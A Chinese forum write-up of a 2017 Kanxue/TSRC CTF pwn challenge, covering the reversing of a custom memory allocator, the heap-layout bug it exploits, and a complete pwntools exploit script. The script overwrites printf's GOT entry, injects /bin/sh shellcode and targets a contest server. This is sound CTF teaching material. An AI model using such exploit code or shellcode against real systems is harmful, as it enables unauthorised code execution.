首页
社区
课程
招聘
[原创]看雪.TSRC 2017CTF秋季赛第七题 pwn_Ox9A82
2017-11-6 12:50 3433

[原创]看雪.TSRC 2017CTF秋季赛第七题 pwn_Ox9A82

2017-11-6 12:50
3433
 

第六题真可怕,还好放弃的早。。。佩服做出来的大佬

 

目录

 

第七题由于是作者自己实现的内存分配机制,所以描述起来比较麻烦,贴了很多图。其实没有那么复杂。

检查和测试

拿到程序后,还是按照流程先用pwntools检查一下,结果如下。

$pwn checksec pwn
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到程序是64位的,可以改got表,有栈保护,有NX,没有PIE。虽然开了NX保护,但是并没有什么用,还是可以用shellcode,后面会说到。

 

然后先跑一下程序,了解一下基本流程。进过几次测试之后,很幸运的发现一个使程序崩溃的漏洞,虽然不知道漏洞详情,但能崩溃就有可能导致代码执行。
image_1bu7iaapc9up16691re1nr315j09.png-67.9kB

逆向

pwn题的逆向一般会简单很多,因为里面会有很多字符串,而且考点也不是逆向。只挑和漏洞有关的几个函数说一下。

 

首先main很简单。
image_1bu7jg17oeo51rl3slk1gnv18ov2n.png-10.5kB

 

在函数init_game里面,用函数mmap_mem分配了一块内存,将这块内存的首尾地址保存在了两个全局变量mem_start, mem_end中,然后又保存了一个top_chunk指针,用于作者自己实现的mymalloc函数分配内存。
image_1bu7jhcqt15uujkh1m43dil1kgn34.png-18.5kB

 

在往下看,到mmap_mem函数里面,就发先一些问题了,函数mmap分配的内存是可读、可写、可执行的。这也就是NX保护没有用,可以使用shellcode的原因。
image_1bu7jj16b1ggpq2sd7e1rnp6fr3h.png-16.6kB

 

在注册、登陆之后,主要循环如下。
image_1bu7j57r01k0dflv1btsgjo1lim1t.png-52.9kB

 

其中的cheat函数存在问题,如果是首次cheat,会分配一块大小为48字节的内存,前16字节作为name,后32字节作为content。然而再次cheat的时候,读入content的最大长度为300,这显然是个漏洞。
image_1bu7j84dq1jb8ar31rockc519n92a.png-20.7kB

 

现在来看一下为什么登陆两次会发生崩溃。
image_1bu7jnjulfjuk9kbc979l5qd4e.png-110.2kB
在signup的时候,程序会分配一块48字节大小的内存,并调用set_buf函数来使全局变量userinfo指向这块内存。当再次signup的时候,程序又分配一块新内存,然后将全局变量userinfo指向新的内存,并对原来的那块内存进行一次应该是类似于free但是很奇怪的操作。
下面来看一下maybe_free和与之相关的几个函数。
首先是set_buf函数,它调用了maybe_free函数。
image_1bu7k7j6p1rf88671g7mdlo2164r.png-24kB
然后是maybe_free函数本身。
image_1bu7ken1719krlka691c3b5n46l.png-45.6kB
再然后是find_valid_addr_in_chunk函数。
image_1bu7kg1v2co8b9l1u6f1lef1fb472.png-34.7kB
再然后是valid_address函数。
image_1bu7kiam81d3a1qn0192f1enu1uin7f.png-10.9kB
最后是add_to_array函数。
image_1bu7ksns910uk1svn1i6j11hm19jj89.png-18.6kB
用图解释一下add_to_array做了什么

addr --->  +-+-+-+-+-+ <--+   +-----------> +-+-+-+-+-+ <--- free_array
           |         |    +---+------------ |         |
           +-+-+-+-+-+        |             +-+-+-+-+-+
           |         |        |             |         |
           +-+-+-+-+-+        |             +-+-+-+-+-+
           |         | -------+             |         |
           +-+-+-+-+-+                      +-+-+-+-+-+
           |         |                      |         |
           +-+-+-+-+-+                      +-+-+-+-+-+
           |         |                      |         |
           +-+-+-+-+-+                      +-+-+-+-+-+
           |         |                      |         |
           +-+-+-+-+-+                      +-+-+-+-+-+

弄清楚这几个函数之后,就可以搞清楚崩溃的问题了。
maybe_free函数调用find_valid_addr_in_chunk函数在要释放的内存中找出它认为是指针(也就是找它认为合法的地址)的字段,然后将这个指针指向的chunk地址保存到一个全局变量free_array指向的数组里,这个数组也是通过myalloc函数分配的,然后将数组的当前地址保存进上述指针指向的位置。一开始输入的用户名weizi变成64为整数为0x697A696577,正好是程序认为的合法地址,但是这个地址又不可写,所以造成了崩溃。可以利用这个漏洞来写got表。

数据结构

在写exploit之前,还需要了解一下数据结构

struct chunk_header_stru {
    int64_t inuse;
    int64_t size;
}

struct userinfo_stru {
    int64_t             unused;
    char                username[16];
    char                password[16];
    characterinfo_stru  *character;
};

struct characterinfo_stru {
    char        name[16];
    int64_t     health;
    int64_t     stamina;
    int64_t     available_weight;
    int64_t     location;
    item_stru   *items;
};

struct item_stru {
    int64_t     type;
    int64_t     weight;
    int64_t     num;
    item_stru   *next;
    int64_t     bullet;
    int64_t     power;
};

exploit

利用的思路是首先用printf的got表项地址作为用户名signup,然后login并cheat一次。退出后再signup一次,将printf的got表项改为free_array指向的数组的地址。最后用cheat把shellcode写入数组的位置,并触发对printf的调用。

 

第一次signup,login,cheat之后,内存布局如下:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   old_usrnf   |     old_chrctrnf      |    cheat      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

再signup,login之后,内存布局如下

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   old_usrnf   |     old_chrctrnf      |     cheat     |   new_usrnf   | array | ......
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                                                                            ^    
                                                                            |
                                                                         printf

接下来,只要再一次用cheat来把shellcode写入array的位置,并触发printf就可以了。我选取的是函数show_my_status来调用printf,还有一点需要注意的是在show_location函数里面用到了userinfo->characterinfo->location,如果location不合法会退出,所以在覆盖new_usrnf的时候要稍微注意一下。
image_1bu7q0e1b3v81ftf10fv45s1f4b8m.png-47.1kB

 

只需要signup,login,cheat,show_my_status四个操作就可以拿到shell。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *



# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'info'
exe = './pwn'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())


def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote('123.206.22.95', 8888)
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
io = start()


def signup(username, password, character_name):
    io.recvuntil('2.Signup')
    io.recvuntil('==============================')
    io.sendline('2')
    io.recvuntil('input your username')
    io.sendline(username)
    io.recvuntil('input your password')
    io.sendline(password)
    io.recvuntil("input your character's name")
    io.sendline(character_name)


def login(username, password):
    io.recvuntil('1.Login')
    io.recvuntil('==============================')
    io.sendline('1')
    io.recvuntil('Input your username:')
    io.sendline(username)
    io.recvuntil('Input your password:')
    io.sendline(password)

def cheat(name, content, isFirstTime=True):
    if isFirstTime:
        io.recvuntil('0.exit')
        io.sendline('5')
        io.recvuntil('name:')
        io.sendline(name)
        io.recvuntil('content:')
        io.sendline(content)
    else:
        io.recvuntil('0.exit')
        io.sendline('5')
        io.recvuntil('content:')
        io.sendline(content)

def goto(location):
    io.recvuntil('0.exit')
    io.sendline('3')
    io.recvuntil('6.Primorsk')
    io.sendline(str(location))

def explore(pickup):
    io.recvuntil('0.exit')
    io.sendline('4')
    io.recvuntil('Do you want to pick up it?')
    if pickup:
        io.sendline('y')
    else:
        io.sendline('n')
    l = io.recvline()
    if l == 'Ok..\n':
        return True
    else:
        return False

def view_and_remove(choice):
    io.recvuntil('0.exit')
    io.sendline('2')
    io.recvuntil('Your Choice:')
    io.sendline(str(choice))
    io.recvline('2.return')
    io.sendline('1')
    io.recvline('2.return')
    io.sendline('2')
    io.recvuntil('Your Choice:')
    io.sendline('-1')

def logout():
    io.recvuntil('0.exit')
    io.sendline('0')

def show_status():
    io.recvuntil('0.exit')
    io.sendline('1')



printf_got = 0x605038
signup(p64(printf_got), '12345678', 'root')
login(p64(printf_got), '12345678')
cheat('weizi', 'weizi', True)
logout()
signup(p64(printf_got), '012345678', 'root')
login(p64(printf_got), '012345678')
payload = 'A' * 32
payload += p64(1)
payload += p64(0x40)
payload += p64(0)
payload += p64(printf_got)
payload += p64(0)
payload += '12345678'
payload += p64(0)
payload += p64(0x6050B8 - 40)   # 伪造的characterinfo *
payload += p64(1)
payload += p64(0x20)
shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
payload += shellcode
log.info("len(payload) = {}".format(len(payload)))
cheat(None, payload, False)
show_status()
io.interactive()

最后得到的flag为flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}

一点总结

  • 做题首先要细心,像cheat函数中的漏洞很明显,不要漏掉。
  • 要关注输入,有输入的地方才最有可能出漏洞。在这题中,能控制的输入最多的就是cheat,其次就是signup。剩下的基本上只能输入1, 2, 3 ...或者yYnN等。

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 870
活跃值: (2264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
s1ber 2018-7-22 23:37
2
0
赞!
游客
登录 | 注册 方可回帖
返回